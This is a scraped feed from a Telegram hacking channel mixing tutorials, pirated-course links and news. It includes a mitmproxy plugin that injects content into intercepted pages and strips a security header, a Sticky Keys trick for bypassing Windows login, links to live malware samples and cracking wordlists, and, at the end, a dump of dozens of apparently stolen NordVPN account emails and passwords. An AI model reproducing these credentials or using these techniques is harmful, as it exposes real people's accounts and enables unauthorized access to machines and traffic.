UNDERCODE SECURITY
226 subscribers
295 photos
1.03K files
1.73K links
πŸ¦‘WELCOME IN UNDERCODE TESTING FOR LEARN HACKING | PROGRAMMING | SECURITY & more..

THIS CHANNEL BY :

@UndercodeTesting
UndercodeTesting.com (official)

@iUndercode
iUndercode.com (iOs)

@Dailycve
DailyCve.com


@UndercodeNews
UndercodeNews.com
Download Telegram
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Transparent proxies(mitmproxy) that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "plugins/extension/" automatically will be listed on Pumpkin-Proxy tab.



The Code Plugins Dev


from mitmproxy.models import decoded # for decode content html
from plugins.extension.plugin import PluginTemplate

class Nameplugin(PluginTemplate):
meta = {
'Name' : 'Nameplugin',
'Version' : '1.0',
'Description' : 'Brief description of the new plugin',
'Author' : 'by dev'
}
def __init__(self):
for key,value in self.meta.items():
self.__dict__[key] = value
# if you want set arguments check refer wiki more info.
self.ConfigParser = False # No require arguments

def request(self, flow):
print flow.__dict__
print flow.request.__dict__
print flow.request.headers.__dict__ # request headers
host = flow.request.pretty_host # get domain on the fly requests
versionH = flow.request.http_version # get http version

# get redirect domains example
# pretty_host takes the "Host" header of the request into account,
if flow.request.pretty_host == "example.org":
flow.request.host = "mitmproxy.org"

# get all request Header example
self.send_output.emit("\n[{}][HTTP REQUEST HEADERS]".format(self.Name))
for name, valur in flow.request.headers.iteritems():
self.send_output.emit('{}: {}'.format(name,valur))

print flow.request.method # show method request
# the model printer data
self.send_output.emit('[NamePlugin]:: this is model for save data logging')

def response(self, flow):
print flow.__dict__
print flow.response.__dict__
print flow.response.headers.__dict__ #convert headers for python dict
print flow.response.headers['Content-Type'] # get content type

#every HTTP response before it is returned to the client
with decoded(flow.response):
print flow.response.content # content html
flow.response.content.replace('</body>','<h1>injected</h1></body>') # replace content tag

del flow.response.headers["X-XSS-Protection"] # remove protection Header

flow.response.headers["newheader"] = "foo" # adds a new header
#and the new header will be added to all responses passing through the proxy

(not coded by under code)
E
N J O Y β€οΈπŸ‘πŸ»
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
RDP Pivoting with Metasploit .pdf
1.4 MB
Full good tutorial with pictures :)
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘SwiftUI Injection- hack ios apps :

It is possible to inject SwiftUI applications but if you add elements to an interface or use modifiers that change their type, this changes the type of the body properties' Content which causes a crash. To avoid this you need to erase the type.

> The easiest way to do this is add the following extension to your source and use the modifier .eraseToAnyView() at the very end of any declaration of a view's body property you want to iterate over:

 var loadInjection = {
Bundle(path: "/Applications/InjectionIII.app/Contents/Resources/iOSInjection.bundle")!.load()
}()

extension View {
#if DEBUG
func eraseToAnyView() -> AnyView {
_ = loadInjection
return AnyView(self)
}
#else
func eraseToAnyView() -> some View {
return self
}
#endif
}
After this, you can put the final touches to your interface interactively on a fully live app.


πŸ¦‘FULL ALL INJECTIONS REAL CODES :
> https://github.com/johnno1962/InjectionIII


E N J O Y β€οΈπŸ‘πŸ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
πŸ¦‘Host script- termux topic - port forwards :

1) apt update

2) apt install git curl php openssh -y

3) git clone git://github.com/htr-tech/host.git

4) cd host

5) Run : bash host.sh

6) choose option via numbers
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘topic wordlists 12gb and more download for cracking :

> https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

> http://www.insidepro.team/

> https://wiki.skullsecurity.org/Passwords

> https://github.com/danielmiessler/SecLists/tree/master/Passwords

> https://github.com/berzerk0/Probable-Wordlists

> https://github.com/topics/password-cracking

E N J O Y β€οΈπŸ‘πŸ»
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
Forwarded from Backup Legal Mega
πŸ¦‘Expert white hats (certificated) courses 202 0 :

Another paid packs

1) Linux Essentials Certification

> https://mega.nz/folder/nU1RRJKJ#WXy2dbCZC2zXpBmzLCwgWg

2) Google Cloud Platform Essentials

> https://mega.nz/folder/KV0nVZhD#90whmx3JNeNc_uxC_mrDFg

3) Linux+ and LPIC-1. System Administrator - Exam 101

> https://mega.nz/folder/Pdt1CZrT#rzDxLGouWhGH4BXTNQduKg

4) Learning Python 2.7 Development

> https://mega.nz/folder/DZ83ibIS#VKf_VJFmqfQ-SVbM5yUBww
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Hack into Windows: Reset a local account password using Sticky Keys

> If the System Restore method doesn’t work, there is an alternative that manipulates the Sticky Keys shortcut on the Windows login screen (Sticky Keys lets you use key combinations such as Ctrl+Alt+Delete by pressing one key). This tip only works with local accounts, so skip to the next section if you’re using a Microsoft account.

1) First, restart your computer with the Windows installation media as described above. Click β€˜Repair your computer’ | Troubleshoot | Command Prompt. (You can take some of the following commands from this Pastebin page to save you the hassle of typing everything out).

2) In Command Prompt type β€œcopy c:windowssystem32sethc.exe c:” then press Enter (replace c: with another letter if your Windows installation is on a different drive). This step ensures you can reverse the process once you’re back into Windows.

3) Next, type β€œcopy c:windowssystem32cmd.exe c:windowssystem32sethc.exe” and confirm the copy. This replaces the Sticky Keys program with Command Prompt, but keeps its filename and, therefore, the shortcut to it.

4) Restart your computer and, when the Windows login screen appears, tap the Shift key five times in quick succession. You’ll hear a beep, then a Command Prompt window will appear (if not, try repeating the key taps).

5) In this window, type β€œnet user [username] [password]” – replacing [username] with your Windows account username and [password] with your new password

6) Press Enter. If you can’t remember what your username is, type β€œnet user” and press Enter to display all Windows accounts.

7) Close the Command Prompt window and log into Windows using your new password.

8) Now you’re back into Windows, you can revert the Sticky Keys file back to its previous state. Click Start, type cmd and press Enter, then type β€œcopy c:sethc.exe c:windowssystem32sethc.exe” and confirm the copy.

USE FOR LEARN
-POWERED BY WIKI
E N J O Y β€οΈπŸ‘πŸ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘How To Find Windows 10 Product Key Using CMD, PowerShell, And Windows Registry?

1) To go ahead with this method, you need to boot into your Windows computer. Now, using a simple VBScript–some of you might have seen it on Microsoft forums–you can read all the binary gibberish written in Windows Registry. This script translates the Registry values into a readable format.

2) So, just copy and paste the following script in a Notepad window and save its as productkey.vbs by choosing the β€œAll Files” option in β€œSave as type.”

Set WshShell = CreateObject("WScript.Shell")
MsgBox ConvertToKey(WshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId"))

Function ConvertToKey(Key)
Const KeyOffset = 52
i = 28
Chars = "BCDFGHJKMPQRTVWXY2346789"
Do
Cur = 0
x = 14
Do
Cur = Cur * 256
Cur = Key(x + KeyOffset) + Cur
Key(x + KeyOffset) = (Cur \ 24) And 255
Cur = Cur Mod 24
x = x -1
Loop While x >= 0
i = i -1
KeyOutput = Mid(Chars, Cur + 1, 1) & KeyOutput
If (((29 - i) Mod 6) = 0) And (i <> -1) Then
i = i -1
KeyOutput = "-" & KeyOutput
End If
Loop While i >= 0
ConvertToKey = KeyOutput
End Function


3) After saving this file, just click on it and a new popup window will show your Windows product key in the registry. You can copy or note this down somewhere to use it later.


enjoyβ€οΈπŸ‘πŸ»
@UndercodeTesting
(code by wiki)βœ…
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
Forwarded from Backup Legal Mega
πŸ¦‘more for py developers 2020 Vim - The improved Editor
β€” 868.18 MB β€”

> https://mega.nz/folder/zYsRnDaD#yiZMTNsl6XQDH0n65PGNLw
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Malware reposity
> theZoo is a project created to make the possibility of malware analysis open and available to the public. Since we have found out that almost all versions of malware are very hard to come by in a way which will allow analysis, we have decided to gather all of them for you in an accessible and safe way. theZoo was born by Yuval tisf Nativ and is now maintained by Shahak Shalev.


Clone
the repository with git clone https://www.github.com/ytisf/theZoo. Go to the directory and run pip install --user -r requirements.txt. This should install all latest requirements needed. In total can be "scripted" like so:

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

1) git clone https://www.github.com/ytisf/theZoo

2) cd theZoo

3) pip install --user -r requirements.txt

4) Start by running the console:

> python theZoo.py

5)

/conf - The conf folder holds files relevant to the particular running of the program but are not part of the application. You can find the EULA file in the conf and more.

/imports - Contains .py import files used by the rest of the application

/malwares/Binaries - The actual malwares samples - be careful! These are very live.

/malware/Source - Malware source code.

Malware under the folder Original is supposed to be (NO PROMISES!) the original source of the malware that leaked. Malware under the folder Reversed is either reversed, decompiled or partially reconstructed.

πŸ¦‘COMPATIBLE WITH ANY LINUX DISTRO


enjoyβ€οΈπŸ‘πŸ»
@UndercodeTesting
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
Forwarded from Backup Legal Mega
πŸ¦‘courses :

1) Git Quick Start for beginers 2019
> https://mega.nz/folder/DdtFSLoC#rsLt_cEhU6hkKV2gNR4reQ

2) Jenkins Quick start 2020

https://mega.nz/folder/rAkGAaQI#Fsc-WXfw13U5Z4r6E40pjA

3) 2019 Bootloading with GRUB

https://mega.nz/folder/rQ90iQ5I#GwtTPEkFfOFyacB9Vo0esA

4) Google Cloud Platform for the AWS User

https://mega.nz/folder/XJty2SgS#xiGzzcwIFXhMVnDtamnUag
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘The Linux Foundation joins forces to establish the Open Source Security Foundation OpenSSF

> The Linux Foundation announced the cooperation with a number of hardware and software vendors to jointly establish the Open Source Security Foundation (OpenSSF), which is a cross-industry cooperation, through the establishment of a broader community of targeted programs and best practices, And gather leaders together to improve the security of open source software.


> OpenSSF members come from the Core Infrastructure Initiative, the GitHub Open Source Security Alliance and other founding board members such as GitHub, Google, IBM, JPMorgan Chase, Microsoft, NCC Group, OWASP Foundation and Red Hat. Other founding members include ElevenPaths, GitLab, HackerOne, Intel, Okta, Purdue, SAFECode, StackHawk, Trail of Bits, Uber and VMware.

> According to the introduction of the OpenSSF official website, the governance of the foundation, the technical community and its decision-making will be transparent, and any specifications and projects developed will have nothing to do with suppliers. OpenSSF is committed to collaboration and cooperation with upstream communities and with existing communities to improve open source security. In other words, they aim to become a transparent organization to promote cooperation between manufacturers and improve security.

#News
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
Forwarded from Backup Legal Mega
πŸ¦‘Linux+ and LPIC-1. System Administrator - Exam 102 2019new β€”-2.27 GBβ€”-
#requested

https://mega.nz/folder/jIVETI5J#kahEzA8YVczQMzmyV4S_xg
Forwarded from UNDERCODE HACKING
Reverse_engineering_'Black_Desert_Online'_1_Preface.pdf
264.4 KB
Detect modified of function about time Detect time modified via using time server Detect of game client local time modification Detect of major kernel function modification Detect DLL injection Detect virtual memory code injection Detect illegal control of DHCP Detect call specific function in game Detect game resource modification Reject game process memory accessing Reject game process handle accessing Reject game process message transmission Reject game process keyboard/mouse input transmission
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘How to prohibit downloading server sharing files at will, prohibit β€” sharing files:

shared file management system also has some special functions, such as:

1) Shared file access permission program management.

When a user accesses a shared file on the server, he sets a list of applications that he is allowed to use. Programs that are not in the list cannot be opened to prevent the shared file from leaking. For example, you can disable QQ to send files, disable email to send files, and prohibit opening or editing shared files through special software.

2) It can be hidden if there is no right to visit.

All or part of the shared files (folders) on the local area network server can be hidden for some users who do not have the right to access them. They can’t see the names of the shared files or folders at all, and users can only see the ones they have permission to view. shared documents.

3) Users are prohibited from saving files locally.

The system can implement a file saving mode similar to a diskless workstation. Users are forbidden to create, edit and save files locally. All operations can only be performed on the file server to prevent the risk of leakage caused by files stored on local disks.

4) It is forbidden for users to gain unauthorized access to shared files after local login/remote desktop.

After the user logs in locally or accesses the shared files on the server through the remote desktop, it is prohibited to copy and paste them into the shared folder of their own computer, or they can be prohibited from dragging the shared files to their own computer disk through the disk mode during the remote desktop.

5) Access action black and white lists are added independently.

When a user accesses a shared file on the server, it is forbidden to open certain windows or perform certain actions to prevent the shared file from leaking and being edited. For example, it is forbidden to open the "Output" window, disable the "Print" action of some software, and disable the "Add" action of the right-click menu.

6) Remote user verification function.

In order to prevent some users with advanced permissions from leaving the computer midway when accessing shared files, and others use this computer to operate shared files, or delete, or copy, etc., the system has a remote user verification function, that is, every time a shared file is opened You need to enter an account and password to strengthen the protection of shared files.

7) Intelligent disaster recovery backup.

Dashizhi shared file management system can set automatic backup before deletion, and selectively restore a certain shared file as needed to prevent users from deliberately or unintentionally deleting shared files, causing important data loss and unrecoverable.

8) Binding authentication.

IP, MAC, user name, and machine name are four-fold bound. If you modify any of them, you will not be able to access shared files. Prevent users from modifying IP, MAC or logging in with other people's accounts to access shared files. At the same time, it can also restrict external computers or unauthorized computers from accessing shared files.

enjoyβ€οΈπŸ‘πŸ»
written
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
Forwarded from Backup Legal Mega
πŸ¦‘Google Container Engine new
β€”830.72 MBβ€”

https://mega.nz/folder/LRtFGaDC#-H7OweypGx-8JkCWjZ_ALg
Forwarded from UNDERCODE COMMUNITY
πŸ¦‘NORDVPN PREMIUM :

lamira_17@live.com.pt:vIcArIOUs17 Expry: 2022-08-08 07:54:56 19.07.2020 05:37:07
Live derekbonslett4@gmail.com:enolen321 Expry: 2022-08-06 21:12:54 19.07.2020 05:37:11
Live aresous@gmail.com:Aresous12 Expry: 2022-08-06 02:03:05 19.07.2020 05:37:29
Live Jarod.Brouwer361@gmail.com:Sniper690 Expry: 2022-08-03 20:41:30 19.07.2020 05:37:37
Live madumais11@gmail.com:rhinos2007 Expry: 2022-07-27 14:25:34 19.07.2020 05:37:48
Live bpurdy77@gmail.com:Purdyboy77 Expry: 2022-07-23 17:48:08 19.07.2020 05:37:58
Live dwabercrombie@yahoo.com:Bigape12 Expry: 2022-07-21 21:12:06 19.07.2020 05:39:10
Live jasdogie@gmail.com:Thedog119! Expry: 2022-07-18 00:42:43 19.07.2020 05:39:19
Live kamran.chowdhury@hotmail.com:Chowdhury1 Expry: 2022-07-13 19:29:44 19.07.2020 05:39:55
Live chanmouli@gmail.com:halphj2a Expry: 2022-07-11 00:05:36 19.07.2020 05:40:02
Live jlovaglio@gmail.com:mattingly23 Expry: 2022-07-09 02:24:33 19.07.2020 05:40:07
Live dvnwoodd@gmail.com:Qdrop123 Expry: 2022-07-06 13:42:33 19.07.2020 05:40:13
Live svasilev456@gmail.com:bigboom123 Expry: 2022-07-05 13:36:25 19.07.2020 05:40:44
Live pck5038@gmail.com:weare2013 Expry: 2022-07-04 16:48:40 19.07.2020 05:40:53
Live jompis88@gmail.com:johndif88 Expry: 2022-07-04 13:28:47 19.07.2020 05:41:15
Live danycornejo4@gmail.com:dc123456 Expry: 2022-07-03 20:05:13 19.07.2020 05:41:27
Live danyranc@hotmail.com:udcufqpz1 Expry: 2022-07-01 23:44:51 19.07.2020 05:41:40
Live ludovic.lacour@orange.fr:Balrog32 Expry: 2020-07-21 07:39:40 19.07.2020 05:43:46
Live dustyraybaugher@gmail.com:Doomer10 Expry: 2022-06-27 23:16:05 19.07.2020 05:44:27
Live purep3076@gmail.com:cur829tis Expry: 2022-06-27 18:50:11 19.07.2020 05:44:31
Live alex.jeffries.t1@gmail.com:Acjtengu1! Expry: 2022-06-25 20:34:59 19.07.2020 05:44:35
Live k.kimball1030@gmail.com:Kevink103099 Expry: 2022-06-25 06:38:54 19.07.2020 05:45:26
Live hiimgreg87@gmail.com:usyzi011187 Expry: 2022-06-23 10:24:30 19.07.2020 05:45:35
Live marcdemory95@gmail.com:Jrock12345! Expry: 2022-06-21 17:16:22 19.07.2020 05:45:39
Live shinigami685@gmail.com:asgaroth14 Expry: 2022-06-21 06:23:13 19.07.2020 05:45:44
Live ianthomas9891@gmail.com:Pwnperma89 Expry: 2022-06-20 23:46:55 19.07.2020 05:45:48
Live daniel@tabak.ca:tunes112 Expry: 2022-06-19 02:54:23 19.07.2020 05:45:57
Live jeanbe23@msn.com:jeanbapt23! Expry: 2022-06-18 22:19:32 19.07.2020 05:46:01
Live kl7925760@gmail.com:kl7925760 Expry: 2022-06-15 15:49:33 19.07.2020 05:46:05
Live charliemarkcrutcher@gmail.com:Suckyourmum12 Expry: 2022-06-13 20:04:17 19.07.2020 05:48:37
Live seanajy@hotmail.com:sean1300177 Expry: 2022-06-10 08:39:33 19.07.2020 05:48:44
Live 2391660180@qq.com:850210zx Expry: 2022-06-09 11:52:26 19.07.2020 05:48:47
Live matchass91@gmail.com:quebec54 Expry: 2022-06-07 19:40:47 19.07.2020 05:49:53
Live 24raiyan@gmail.com:Burger12* Expry: 2022-04-29 00:00:00 19.07.2020 05:50:09
Live righteousstafford@gmail.com:4768Lilman! Expry: 2022-04-25 04:20:40 19.07.2020 05:51:01
Live esytes@gmail.com:Requiem1607. Expry: 2022-04-03 17:01:06 19.07.2020 05:51:35
Live adew14@hotmail.com:Hayleycostello1 Expry: 2022-04-02 13:12:30 19.07.2020 05:52:03
Live kautsarrayzaman@gmail.com:DoloresHaze98 Expry: 2022-04-01 13:06:47 19.07.2020 05:52:07
Live darylzwfong@gmail.com:arsenalfc14 Expry: 2022-03-26 11:31:54 19.07.2020 05:52:14
Live bobarnoldvifte@gmail.com:ogana1998 Expry: 2022-03-12 18:31:15 19.07.2020 05:53:24
Live dylanrushnell@yahoo.com:truck250 Expry: 2022-03-07 16:53:51 19.07.2020 05:53:28
Live petersson0@hotmail.se:Fillep01 Expry: 2022-03-07 14:39:35 19.07.2020 05:53:32
Live jmschuaquico@gmail.com:c13b1qc012ef Expry: 2022-03-07 03:43:48 19.07.2020 05:53:35
Live andrewwallerstein@gmail.com:@bsoluti0n Expry: 2022-03-06 00:10:58 19.07.2020 05:53:39
Live althtnmore@aol.com:12071941aA! Expry: 2022-03-04 11:24:39 19.07.2020 05:53:44
Live ianharden82@yahoo.com:smudgey1 Expry: 2022-02-24 15:22:15 19.07.2020 05:53:53